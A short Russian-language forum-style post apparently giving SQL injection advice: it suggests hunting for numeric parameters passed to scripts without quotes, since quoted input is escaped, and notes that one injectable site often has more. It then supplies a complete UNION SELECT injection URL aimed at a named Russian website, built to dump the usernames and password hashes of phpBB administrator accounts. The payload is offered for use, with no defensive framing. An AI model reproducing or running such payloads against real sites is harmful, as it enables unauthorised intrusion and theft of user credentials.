Идет слеширование кавычек а без них запрос не завершит, ищи числовые данные в передоваемых скрипту значениях, зачастую они идут в запрос без кавычек, и как правило где есть одна скуля на одном сайте есть и другие.

для админов можно и так

http://gurtskaya.ru/text_press_year.php?send=ok&year=&cat='+union+sele ct+1,2,group_concat(concat_ws(0x3a,username,user_p assword)+separator+'<br>'),4,5,6,7+from+phpbb_user s+where+user_level=1--+